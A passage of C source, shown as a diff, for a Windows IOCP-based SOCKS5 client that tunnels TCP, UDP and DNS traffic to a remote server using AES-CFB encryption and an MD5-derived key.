buf[4 + 1 + 255 + 2]; size_t off=0; + buf[off++]=0x05; buf[off++]=rep; buf[off++]=0x00; + uint8_t packed[16]; size_t plen=0; + int af = host_literal_ip(bind_host, packed, &plen); + if (af == AF_INET) { buf[off++]=0x01; memcpy(buf+off,packed,4); off+=4; } + else if (af==AF_INET6) { buf[off++]=0x04; memcpy(buf+off,packed,16); off+=16; } + else { size_t len=strlen(bind_host); if(len>255) len=255; buf[off++]=0x03; buf[off++]=(uint8_t)len; memcpy(buf+off,bind_host,len); off+=len; } + uint16_t p=htons(bind_port); memcpy(buf+off,&p,2); off+=2; send(s,(const char*)buf,(int)off,0); +} +static void socks5_send_reply_log(SOCKET s, uint8_t rep, const char* host, uint16_t port){ + LOGI("S5 reply rep=0x%02x bind=%s:%u", rep, host?host:"", (unsigned)port); + socks5_send_reply(s, rep, host, port); +} + +// -------------------- encode_addr -------------------- +static bool encode_addr(uint8_t atyp, const char *host, uint16_t port, dynbuf_t* out, bool tcp) { + uint8_t packed[16]; size_t plen=0; + if (atyp == 0x01) { + if (host_literal_ip(host, packed, &plen) != AF_INET) return false; + uint8_t t = tcp ? 0x61 : 0x01; dbuf_append(out,&t,1); dbuf_append(out,packed,4); + } else if (atyp == 0x03) { + size_t len=strlen(host); if(len>255) return false; + uint8_t t=tcp?0x63:0x03; dbuf_append(out,&t,1); uint8_t l=(uint8_t)len; dbuf_append(out,&l,1); dbuf_append(out,host,len); + } else if (atyp == 0x04) { + if (host_literal_ip(host, packed, &plen) != AF_INET6) return false; + uint8_t t=tcp?0x64:0x04; dbuf_append(out,&t,1); dbuf_append(out,packed,16); + } else return false; + uint16_t nport=htons(port); dbuf_append(out,&nport,2); return true; +} + +// -------------------- CNG crypto (CFB128 fixed) -------------------- +typedef struct AES_CFB { + BCRYPT_ALG_HANDLE hAlg; + BCRYPT_KEY_HANDLE hKey; + PUCHAR keyObj; + DWORD keyObjLen; + UCHAR iv[16]; + BOOL ready; +} AES_CFB; + +static void rand_bytes(uint8_t* b, size_t n) { + BCryptGenRandom(NULL,(PUCHAR)b,(ULONG)n,BCRYPT_USE_SYSTEM_PREFERRED_RNG); +} + +static BOOL kdf_evp_bytes_to_key_md5(const uint8_t* pw, size_t pwlen, uint8_t out32[32]) { + BCRYPT_ALG_HANDLE hMd5=NULL; NTSTATUS st=0; BCRYPT_HASH_HANDLE hh=NULL; UCHAR h1[16],h2[16]; + st=BCryptOpenAlgorithmProvider(&hMd5,BCRYPT_MD5_ALGORITHM,NULL,0); if(st) return FALSE; + st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L; + st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L; + st=BCryptFinishHash(hh,h1,16,0); BCryptDestroyHash(hh); hh=NULL; if(st) goto L; + st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L; + st=BCryptHashData(hh,h1,16,0); if(st) goto L; + st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L; + st=BCryptFinishHash(hh,h2,16,0); if(st) goto L; + memcpy(out32,h1,16); memcpy(out32+16,h2,16); +L: if(hh)BCryptDestroyHash(hh); if(hMd5)BCryptCloseAlgorithmProvider(hMd5,0); return st==0; +} + +static BOOL aes_cfb_init(AES_CFB* s, const uint8_t key[32], const uint8_t iv[16]) { + memset(s,0,sizeof(*s)); + if (BCryptOpenAlgorithmProvider(&s->hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) return FALSE; + if (BCryptSetProperty(s->hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) return FALSE; + DWORD cb=0; if (BCryptGetProperty(s->hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&s->keyObjLen,sizeof(DWORD),&cb,0)) return FALSE; + s->keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,s->keyObjLen); if(!s->keyObj) return FALSE; + if (BCryptGenerateSymmetricKey(s->hAlg,&s->hKey,s->keyObj,s->keyObjLen,(PUCHAR)key,32,0)) return FALSE; + DWORD fb = 16; // **** CFB128 + if (BCryptSetProperty(s->hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) return FALSE; + memcpy(s->iv,iv,16); s->ready=TRUE; return TRUE; +} +static void aes_cfb_free(AES_CFB* s){ + if(s->hKey) BCryptDestroyKey(s->hKey); + if(s->hAlg) BCryptCloseAlgorithmProvider(s->hAlg,0); + if(s->keyObj) HeapFree(GetProcessHeap(),0,s->keyObj); + memset(s,0,sizeof(*s)); +} +static BOOL aes_cfb_update(AES_CFB* s, BOOL enc, PUCHAR in, ULONG inlen, PUCHAR out, ULONG* outlen) { + if (!s->ready) return FALSE; + NTSTATUS st = enc ? BCryptEncrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0) + : BCryptDecrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0); + return st==0; +} +static int aes_cfb_one_shot(const uint8_t key[32], const uint8_t iv[16], BOOL enc, + const uint8_t* in, size_t inlen, uint8_t* out) { + BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_KEY_HANDLE hKey=NULL; PUCHAR keyObj=NULL; + DWORD keyObjLen=0,cb=0,olen=0; UCHAR ivtmp[16]; memcpy(ivtmp,iv,16); + if (BCryptOpenAlgorithmProvider(&hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) goto ERR; + if (BCryptSetProperty(hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) goto ERR; + if (BCryptGetProperty(hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&keyObjLen,sizeof(DWORD),&cb,0)) goto ERR; + keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,keyObjLen); if(!keyObj) goto ERR; + if (BCryptGenerateSymmetricKey(hAlg,&hKey,keyObj,keyObjLen,(PUCHAR)key,32,0)) goto ERR; + DWORD fb = 16; // **CFB128** + if (BCryptSetProperty(hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) goto ERR; + NTSTATUS st = enc ? BCryptEncrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0) + : BCryptDecrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0); + if (st) goto ERR; + if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj); + return (int)olen; +ERR: + if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj); + return -1; +} + +// -------------------- UDP map -------------------- +typedef struct { + bool used; time_t ts; uint8_t key[128]; size_t key_len; struct sockaddr_storage client_ss; int client_len; +} udp_map_entry_t; +typedef struct udp_assoc_s { + struct bridge_s* owner; SOCKET fd; struct sockaddr_storage remote_ss; int remote_len; uint8_t key32[32]; + udp_map_entry_t map[UDP_MAP_CAP]; struct sockaddr_storage last_client; int last_client_len; bool has_last; HANDLE timer; +} udp_assoc_t; +static int udp_map_find(udp_assoc_t* ua, const uint8_t* k, size_t klen) { + for (int i=0;imap[i].used && ua->map[i].key_len==klen && memcmp(ua->map[i].key,k,klen)==0) return i; return -1; +} +static int udp_map_alloc_slot(udp_assoc_t* ua) { + for (int i=0;imap[i].used) return i; + time_t oldest=time(NULL); int idx=0; for(int i=0;imap[i].tsmap[i].ts; idx=i; } } return idx; +} + +// -------------------- IOCP infra -------------------- +typedef enum { OP_ACCEPT, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } OPKIND; +typedef enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING_REMOTE=2, ST_STREAM=3, ST_UDP_ASSOC=4, ST_CLOSED=5 } bridge_state_t; + +typedef struct IO_OP { OVERLAPPED ol; OPKIND kind; WSABUF buf; char* storage; DWORD cap; } IO_OP; +static IO_OP* op_alloc(OPKIND k, DWORD cap){ IO_OP* op=(IO_OP*)calloc(1,sizeof(IO_OP)); if(!op) return NULL; op->kind=k; op->cap=cap; if(cap){ op->storage=(char*)_aligned_malloc(cap,64); op->buf.buf=op->storage; op->buf.len=cap; } return op; } +static void op_free(IO_OP* op){ if(!op) return; if(op->storage) _aligned_free(op->storage); free(op); } + +// Extension functions +static LPFN_ACCEPTEX pAcceptEx = NULL; +static LPFN_CONNECTEX pConnectEx = NULL; +static LPFN_GETACCEPTEXSOCKADDRS pGetAcceptExSockaddrs = NULL; + +static BOOL get_ext_fns(SOCKET s) { + DWORD r=0; GUID g1=WSAID_ACCEPTEX, g2=WSAID_CONNECTEX, g3=WSAID_GETACCEPTEXSOCKADDRS; + if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g1, sizeof(g1), &pAcceptEx, sizeof pAcceptEx, &r, NULL, NULL)) return FALSE; + if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g2, sizeof(g2), &pConnectEx, sizeof pConnectEx, &r, NULL, NULL)) return FALSE; + if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g3, sizeof(g3), &pGetAcceptExSockaddrs, sizeof pGetAcceptExSockaddrs, &r, NULL, NULL)) return FALSE; + return TRUE; +} + +// -------------------- DNS cache & codec -------------------- +typedef struct { bool used; time_t expire; char host[64]; char ip[16]; } dns_cache_entry_t; +typedef struct { dns_cache_entry_t tab[DNS_CACHE_SIZE]; } dns_cache_t; +static void dns_cache_init(dns_cache_t* c){ memset(c,0,sizeof(*c)); } +static const char* dns_cache_get(dns_cache_t *c, const char *host) { + time_t now=time(NULL); + for (size_t i=0;itab[i].used && strcmp(c->tab[i].host,host)==0) { + if (c->tab[i].expire>now) return c->tab[i].ip; c->tab[i].used=false; + } + return NULL; +} +static void dns_cache_put(dns_cache_t *c, const char *host, const char *ip, int ttl_sec) { + time_t now=time(NULL); size_t slot=DNS_CACHE_SIZE; time_t oldest=now; + for (size_t i=0;itab[i].used){slot=i;break;} if(c->tab[i].expiretab[i].expire; slot=i;} } + if (slot>=DNS_CACHE_SIZE) slot=0; + dns_cache_entry_t* e=&c->tab[slot]; + e->used=true; e->expire=now+ttl_sec; + strncpy(e->host,host,sizeof(e->host)-1); e->host[sizeof(e->host)-1]=0; + strncpy(e->ip,ip,sizeof(e->ip)-1); e->ip[sizeof(e->ip)-1]=0; +} + +// DNS build/parse +static int dns_build_query(const char *host, uint8_t *out, size_t cap, size_t *outlen, uint16_t *out_id) { + if (!host || !out || cap < 12) return -1; + uint16_t id; BCryptGenRandom(NULL,(PUCHAR)&id,sizeof(id),BCRYPT_USE_SYSTEM_PREFERRED_RNG); *out_id=id; + size_t off=0; uint16_t flags=htons(0x0100); uint16_t qd=htons(1),an=0,ns=0,ar=0; + *(uint16_t*)(out+off)=htons(id); off+=2; + *(uint16_t*)(out+off)=flags; off+=2; + *(uint16_t*)(out+off)=qd; off+=2; + *(uint16_t*)(out+off)=an; off+=2; + *(uint16_t*)(out+off)=ns; off+=2; + *(uint16_t*)(out+off)=ar; off+=2; + const char *p=host, *dot=NULL; + while (*p) { + dot=strchr(p,'.'); size_t lab_len= dot ? (size_t)(dot-p) : strlen(p); + if (lab_len==0 || lab_len>63) return -1; + if (off+1+lab_len>=cap) return -1; + out[off++]=(uint8_t)lab_len; memcpy(out+off,p,lab_len); off+=lab_len; + if (!dot) break; p=dot+1; + } + if (off+1+4>cap) return -1; + out[off++]=0; *(uint16_t*)(out+off)=htons(1); off+=2; *(uint16_t*)(out+off)=htons(1); off+=2; + *outlen=off; return 0; +} +static int dns_skip_name(const uint8_t *buf, size_t len, size_t *off) { + size_t i=*off; + while (i=len) return -1; i++; break; } + else if (c==0) break; else { if (i+c>len) return -1; i+=c; } + } + *off=i; return 0; +} +static int dns_parse_a(const uint8_t *buf, size_t len, char *ip_str, size_t ip_cap) { + if (len<12) return -1; + uint16_t qd = ntohs(*(const uint16_t*)(buf+4)); + uint16_t an = ntohs(*(const uint16_t*)(buf+6)); + size_t off=12; + for (uint16_t i=0;ilen) return -1; off+=4; } + for (uint16_t i=0;ilen) return -1; + uint16_t type=ntohs(*(const uint16_t*)(buf+off)); off+=2; + uint16_t class_=ntohs(*(const uint16_t*)(buf+off)); off+=2; + off+=4; uint16_t rdlen=ntohs(*(const uint16_t*)(buf+off)); off+=2; + if (off+rdlen>len) return -1; + if (type==1 && class_==1 && rdlen==4) { + IN_ADDR a4; memcpy(&a4,buf+off,4); + const char* ret = InetNtopA(AF_INET,&a4,ip_str,(socklen_t)ip_cap); + return ret ? 0 : -1; + } + off+=rdlen; + } + return -1; +} + +// -------------------- Bridge (per-connection) -------------------- +typedef struct bridge_s { + config_t* cfg; + SOCKET cli_fd, srv_fd; + bridge_state_t state; + dynbuf_t cli_in, srv_in; + socks5_req_t req; + uint8_t key32[32]; + AES_CFB up_enc; BOOL up_ready; + AES_CFB down_dec; BOOL down_ready; + uint8_t iv_server[16]; size_t iv_have; + struct udp_assoc_s* udp_assoc; + + dns_cache_t dns_cache; + + volatile LONG closing; // 0=open, 1=closing + volatile LONG pending_ops; // outstanding I/O counter + volatile LONG freed; // 0->1 ensure free once +} bridge_t; + +static void bridge_free_crypto(bridge_t* b){ if(b->up_ready){aes_cfb_free(&b->up_enc); b->up_ready=FALSE;} if(b->down_ready){aes_cfb_free(&b->down_dec); b->down_ready=FALSE;} } + +static void bridge_really_free(bridge_t* b){ + if(!b) return; + if (InterlockedCompareExchange(&b->freed, 1, 0) != 0) return; // ensure once + LOGI("bridge %p free", b); + if(b->udp_assoc){ + if (b->udp_assoc->timer) DeleteTimerQueueTimer(NULL,b->udp_assoc->timer,INVALID_HANDLE_VALUE); + if (b->udp_assoc->fd!=INVALID_SOCKET) CLOSESOCK(b->udp_assoc->fd); + free(b->udp_assoc); b->udp_assoc=NULL; + } + if(b->cli_fd!=INVALID_SOCKET){CLOSESOCK(b->cli_fd); b->cli_fd=INVALID_SOCKET;} + if(b->srv_fd!=INVALID_SOCKET){CLOSESOCK(b->srv_fd); b->srv_fd=INVALID_SOCKET;} + bridge_free_crypto(b); + dbuf_free(&b->cli_in); dbuf_free(&b->srv_in); + free(b); +} +static void bridge_try_free(bridge_t* b){ + if (!b) return; + if (b->closing && InterlockedCompareExchange(&b->pending_ops, 0, 0)==0){ + bridge_really_free(b); + } +} +static void bridge_start_close(bridge_t* b){ + if (!b) return; + if (InterlockedCompareExchange(&b->closing, 1, 0)!=0) return; // only once + LOGI("bridge %p start_close (pending_ops=%ld)", b, InterlockedCompareExchange(&b->pending_ops,0,0)); + if (b->cli_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->cli_fd, NULL); shutdown(b->cli_fd, SD_BOTH); } + if (b->srv_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->srv_fd, NULL); shutdown(b->srv_fd, SD_BOTH); } + bridge_try_free(b); +} + +// -------------------- UDP assoc helpers -------------------- +typedef struct udp_assoc_s udp_assoc_t; +static VOID CALLBACK udp_map_cleaner_cb(PVOID param, BOOLEAN fired) { + (void)fired; + udp_assoc_t* ua=(udp_assoc_t*)param; if(!ua) return; + time_t now=time(NULL); int cleared=0; + for (int i=0;imap[i].used && now - ua->map[i].ts > ua->owner->cfg->udp_timeout) { ua->map[i].used=false; ++cleared; } + if (cleared && g_log_level>=2) LOGD("udp_assoc %p expired %d map entries", ua, cleared); +} +static udp_assoc_t* udp_assoc_create(bridge_t* b) { + udp_assoc_t* ua=(udp_assoc_t*)calloc(1,sizeof(*ua)); if(!ua) return NULL; + ua->owner=b; ua->fd=WSASocket(AF_INET,SOCK_DGRAM,IPPROTO_UDP,NULL,0,0); if(ua->fd==INVALID_SOCKET){free(ua); return NULL;} + SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(0); InetPtonA(AF_INET,b->cfg->listen_host,&sin.sin_addr); + if (bind(ua->fd,(SOCKADDR*)&sin,sizeof(sin))!=0){CLOSESOCK(ua->fd); free(ua); return NULL;} + struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)){CLOSESOCK(ua->fd); free(ua); return NULL;} + ua->remote_ss=ss; ua->remote_len=sslen; memcpy(ua->key32,b->key32,32); + CreateTimerQueueTimer(&ua->timer,NULL,udp_map_cleaner_cb,ua,5000,5000,WT_EXECUTEDEFAULT); + LOGI("UDP_ASSOC created socket=%llu", (unsigned long long)ua->fd); + return ua; +} +static bool udp_parse_client_packet(const uint8_t* buf,size_t len,size_t *addr_off,size_t *payload_off){ + if(len<3) return false; if(buf[0]!=0||buf[1]!=0||buf[2]!=0) return false; size_t off=3; + if(len128) return false; memcpy(out,buf+addr_off,n); *outlen=n; return true; +} +static void udp_sendto_remote(udp_assoc_t* ua,const void* data,size_t len){ + sendto(ua->fd,(const char*)data,(int)len,0,(SOCKADDR*)&ua->remote_ss,ua->remote_len); +} +static void udp_poll_once(udp_assoc_t* ua) { + if (!ua) return; + u_long nb=1; ioctlsocket(ua->fd, FIONBIO, &nb); + for (;;) { + uint8_t buf[8192]; + SOCKADDR_STORAGE from; int fromlen = sizeof(from); + int n = recvfrom(ua->fd, (char*)buf, (int)sizeof(buf), 0, (SOCKADDR*)&from, &fromlen); + if (n < 0) { int e=WSAGetLastError(); if (e==WSAEWOULDBLOCK) break; else { LOGE("udp recvfrom error=%d", e); break; } } + bool from_remote = false; + if (from.ss_family == ua->remote_ss.ss_family) { + if (from.ss_family == AF_INET) { + SOCKADDR_IN *a=(SOCKADDR_IN*)&from, *b=(SOCKADDR_IN*)&ua->remote_ss; + from_remote = (a->sin_port==b->sin_port && a->sin_addr.S_un.S_addr==b->sin_addr.S_un.S_addr); + } else if (from.ss_family == AF_INET6) { + SOCKADDR_IN6 *a=(SOCKADDR_IN6*)&from, *b=(SOCKADDR_IN6*)&ua->remote_ss; + from_remote = (a->sin6_port==b->sin6_port && memcmp(&a->sin6_addr,&b->sin6_addr,sizeof(a->sin6_addr))==0); + } + } + if (from_remote) { + if (n < 16) continue; + const uint8_t* iv = buf; + const uint8_t* ct = buf + 16; size_t ctlen = (size_t)n - 16; + uint8_t plain[8192]; + int m = aes_cfb_one_shot(ua->key32, iv, FALSE, ct, ctlen, plain); + if (m <= 0) continue; + + size_t off = 0; if (m < 1) continue; + uint8_t atyp = plain[off++]; + if (atyp == 0x01) off += 4 + 2; + else if (atyp == 0x03) { if (off >= (size_t)m) continue; uint8_t l=plain[off++]; off += l + 2; } + else if (atyp == 0x04) off += 16 + 2; + else continue; + if ((size_t)m < off) continue; + size_t addrlen = off; size_t payload_len = (size_t)m - off; + + int idx = udp_map_find(ua, plain, addrlen); + SOCKADDR_STORAGE dst; int dstlen = 0; + if (idx >= 0) { dst = ua->map[idx].client_ss; dstlen = ua->map[idx].client_len; } + else if (ua->has_last) { dst = ua->last_client; dstlen = ua->last_client_len; } + else continue; + + uint8_t out[8192]; + size_t outlen = 3 + addrlen + payload_len; + if (outlen > sizeof(out)) continue; + out[0] = 0; out[1] = 0; out[2] = 0; + memcpy(out + 3, plain, addrlen); + memcpy(out + 3 + addrlen, plain + addrlen, payload_len); + sendto(ua->fd, (const char*)out, (int)outlen, 0, (SOCKADDR*)&dst, dstlen); + } else { + size_t addr_off=0, payload_off=0; + if (!udp_parse_client_packet(buf, (size_t)n, &addr_off, &payload_off)) continue; + + uint8_t keybuf[128]; size_t klen=0; + if (!udp_clone_addr_block(buf, addr_off, payload_off, keybuf, &klen)) continue; + int idx = udp_map_find(ua, keybuf, klen); + if (idx < 0) idx = udp_map_alloc_slot(ua); + ua->map[idx].used = true; ua->map[idx].ts = time(NULL); + memcpy(ua->map[idx].key, keybuf, klen); ua->map[idx].key_len = klen; + ua->map[idx].client_ss = from; ua->map[idx].client_len = fromlen; + ua->last_client = from; ua->last_client_len = fromlen; ua->has_last = true; + + uint8_t iv[16]; rand_bytes(iv, 16); + const uint8_t* plain = buf + 3; + size_t plain_len = (size_t)n - 3; + uint8_t ct[8192]; + int m = aes_cfb_one_shot(ua->key32, iv, TRUE, plain, plain_len, ct); + if (m <= 0) continue; + + uint8_t out[8192]; + if ((size_t)m + 16 > sizeof(out)) continue; + memcpy(out, iv, 16); + memcpy(out + 16, ct, m); + udp_sendto_remote(ua, out, (size_t)m + 16); + } + } +} + +// -------------------- server env -------------------- +typedef struct { HANDLE iocp; SOCKET listen_fd; config_t cfg; } server_env_t; +static server_env_t g_env; + +// -------------------- TCP helpers + post wrappers -------------------- +typedef struct IO_OP IO_OP; +static void set_tcp_opts(SOCKET s){ int on=1,sz=1<<18; setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char*)&on,sizeof(on)); setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char*)&sz,sizeof(sz)); setsockopt(s,SOL_SOCKET,SO_RCVBUF,(char*)&sz,sizeof(sz)); } + +static IO_OP* post_recv_(bridge_t* b, SOCKET s, OPKIND kind, DWORD cap){ + if (!b || b->closing) return NULL; // 关闭中不再投递 + IO_OP* op=op_alloc(kind,cap); + DWORD flags=0,recvd=0; + int r=WSARecv(s,&op->buf,1,&recvd,&flags,&op->ol,NULL); + int e=(r!=0)?WSAGetLastError():0; + if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSARecv kind=%d err=%d", (int)kind, e); op_free(op); return NULL; } + InterlockedIncrement(&b->pending_ops); + LOGD("post RECV kind=%d cap=%lu (pending_ops=%ld)", (int)kind, (unsigned long)cap, InterlockedCompareExchange(&b->pending_ops,0,0)); + return op; +} +static IO_OP* post_send_(bridge_t* b, SOCKET s, OPKIND kind, const void* data, size_t len){ + if (!b || b->closing) return NULL; // 关闭中不再投递 + IO_OP* op=op_alloc(kind,(DWORD)len); memcpy(op->storage,data,len); + DWORD sent=0; + int r=WSASend(s,&op->buf,1,&sent,0,&op->ol,NULL); + int e=(r!=0)?WSAGetLastError():0; + if(r!=0 && e!=WSA_IO_PENDING){ LOGD("WSASend kind=%d err=%d", (int)kind, e); op_free(op); return NULL; } + InterlockedIncrement(&b->pending_ops); + LOGD("post SEND kind=%d len=%zu (pending_ops=%ld)", (int)kind, len, InterlockedCompareExchange(&b->pending_ops,0,0)); + return op; +} + +// forward decl +static bool connect_remote_async(bridge_t* b); +static void after_remote_connected(bridge_t* b); + +// -------------------- CONNECT & STREAM -------------------- +static void after_remote_connected(bridge_t* b){ + LOGI("remote connected, sending IV + addr+mx"); + + dynbuf_t ab; dbuf_init(&ab); + if(!encode_addr(b->req.atyp,b->req.host,b->req.port,&ab,true)){ socks5_send_reply_log(b->cli_fd,0x04,"0.0.0.0",0); dbuf_free(&ab); bridge_start_close(b); return; } + size_t mx_len=strlen(b->cfg->mx_head); if(mx_len>255){ dbuf_free(&ab); bridge_start_close(b); return; } + uint8_t ml=(uint8_t)mx_len; dbuf_append(&ab,&ml,1); dbuf_append(&ab,b->cfg->mx_head,mx_len); + + uint8_t iv[16]; rand_bytes(iv,16); aes_cfb_init(&b->up_enc,b->key32,iv); b->up_ready=TRUE; + + uint8_t* ct=(uint8_t*)malloc(ab.len); + ULONG m=0; aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)ab.data,(ULONG)ab.len,ct,&m); + uint8_t* pkt=(uint8_t*)malloc(16+m); memcpy(pkt,iv,16); memcpy(pkt+16,ct,m); + post_send_(b, b->srv_fd, OP_SRV_SEND, pkt, 16+m); + + socks5_send_reply_log(b->cli_fd,0x00,"0.0.0.0",0); + + free(ct); free(pkt); dbuf_free(&ab); + b->state=ST_STREAM; + post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf); + post_recv_(b, b->srv_fd, OP_SRV_RECV, b->cfg->recv_buf); + LOGI("enter STREAM (+posted cli/srv recv)"); +} + +static bool connect_remote_async(bridge_t* b){ + b->srv_fd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(b->srv_fd==INVALID_SOCKET){ LOGE("WSASocket for remote failed"); return false; } + CreateIoCompletionPort((HANDLE)b->srv_fd,g_env.iocp,(ULONG_PTR)b,0); + SOCKADDR_IN l; ZeroMemory(&l,sizeof(l)); l.sin_family=AF_INET; bind(b->srv_fd,(SOCKADDR*)&l,sizeof(l)); + struct sockaddr_storage ss; int sslen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&ss,&sslen)) return false; + IO_OP* op=op_alloc(OP_CONNECT,0); + DWORD bytes=0; + LOGI("ConnectEx to remote server %s:%u", b->cfg->remote_host, (unsigned)b->cfg->remote_port); + BOOL ok=pConnectEx(b->srv_fd,(SOCKADDR*)&ss,sslen,NULL,0,&bytes,&op->ol); + int e = ok?0:WSAGetLastError(); + if(!ok && e!=ERROR_IO_PENDING){ LOGE("ConnectEx err=%d", e); op_free(op); return false; } + InterlockedIncrement(&b->pending_ops); + b->state=ST_CONNECTING_REMOTE; return true; +} + +// -------------------- DNS over tunnel (sync) -------------------- +static bool start_dns_over_tunnel_sync(bridge_t* b, const char* host) { + const char* cached = dns_cache_get(&b->dns_cache, host); + if (cached) { + LOGI("DNS cache hit: %s -> %s", host, cached); + strncpy(b->req.host, cached, sizeof(b->req.host)-1); b->req.atyp=0x01; + return connect_remote_async(b); + } + uint8_t q[512]; size_t qlen=0; uint16_t qid=0; + if (dns_build_query(host, q, sizeof(q), &qlen, &qid) != 0) { LOGE("dns_build_query failed for %s", host); return false; } + + dynbuf_t ab; dbuf_init(&ab); + if (!encode_addr(0x01, "8.8.8.8", 53, &ab, false)) { dbuf_free(&ab); LOGE("encode_addr for DNS failed"); return false; } + size_t plain_len = ab.len + qlen; uint8_t* plain = (uint8_t*)malloc(plain_len); + memcpy(plain, ab.data, ab.len); memcpy(plain+ab.len, q, qlen); + + uint8_t iv[16]; rand_bytes(iv,16); + uint8_t ct[1024]; int m = aes_cfb_one_shot(b->key32, iv, TRUE, plain, plain_len, ct); + if (m <= 0) { free(plain); dbuf_free(&ab); LOGE("dns encrypt failed"); return false; } + uint8_t out[1024]; memcpy(out, iv, 16); memcpy(out+16, ct, m); + + SOCKET us = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0); if (us==INVALID_SOCKET){ free(plain); dbuf_free(&ab); LOGE("udp socket for DNS failed"); return false; } + struct sockaddr_storage r; int rlen=0; if(!resolve_host_port(b->cfg->remote_host,(uint16_t)b->cfg->remote_port,&r,&rlen)){ CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + int to_ms = b->cfg->connect_timeout*1000; setsockopt(us,SOL_SOCKET,SO_RCVTIMEO,(char*)&to_ms,sizeof(to_ms)); + + LOGI("DNS over tunnel: %s -> 8.8.8.8:53 (qid=0x%04x), sending %d bytes", host, qid, 16+m); + int sret = sendto(us,(const char*)out,16+m,0,(SOCKADDR*)&r,rlen); + if (sret<0){ int e=WSAGetLastError(); LOGE("DNS sendto err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + + uint8_t rbuf[2048]; SOCKADDR_STORAGE from; int fromlen=sizeof(from); + int n = recvfrom(us,(char*)rbuf,(int)sizeof(rbuf),0,(SOCKADDR*)&from,&fromlen); + if (n <= 0) { int e=WSAGetLastError(); LOGE("DNS recvfrom timeout/err=%d", e); CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + + LOGI("DNS over tunnel: received %d bytes", n); + if (n < 16) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS resp too short"); return false; } + uint8_t plain2[2048]; + int m2 = aes_cfb_one_shot(b->key32, rbuf, FALSE, rbuf+16, (size_t)n-16, plain2); + if (m2 <= 0) { CLOSESOCK(us); free(plain); dbuf_free(&ab); LOGE("DNS decrypt failed"); return false; } + + size_t off = 0; if (m2 < 1) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + uint8_t atyp = plain2[off++]; + if (atyp == 0x01) off += 4 + 2; + else if (atyp == 0x03) { if (off >= (size_t)m2) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } uint8_t l=plain2[off++]; off += l + 2; } + else if (atyp == 0x04) off += 16 + 2; + else { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + if ((size_t)m2 <= off) { CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; } + + char ip[INET_ADDRSTRLEN]; + if (dns_parse_a(plain2 + off, (size_t)m2 - off, ip, sizeof(ip)) != 0) { + LOGE("DNS parse A failed for %s", host); + CLOSESOCK(us); free(plain); dbuf_free(&ab); return false; + } + LOGI("DNS over tunnel OK: %s -> %s", host, ip); + dns_cache_put(&b->dns_cache, host, ip, 300); + strncpy(b->req.host, ip, sizeof(b->req.host)-1); b->req.atyp=0x01; + + CLOSESOCK(us); free(plain); dbuf_free(&ab); + return connect_remote_async(b); +} + +// -------------------- handlers -------------------- +static void handle_greeting(bridge_t* b, const uint8_t* p, size_t n) { + size_t consumed=0; + int r = parse_socks5_greeting(p, n, &consumed); + if (r < 0) { LOGE("S5 greeting invalid"); bridge_start_close(b); return; } + if (r == 0) return; + dbuf_consume(&b->cli_in, consumed); + uint8_t resp[2]={0x05,0x00}; + post_send_(b, b->cli_fd, OP_CLI_SEND, resp, 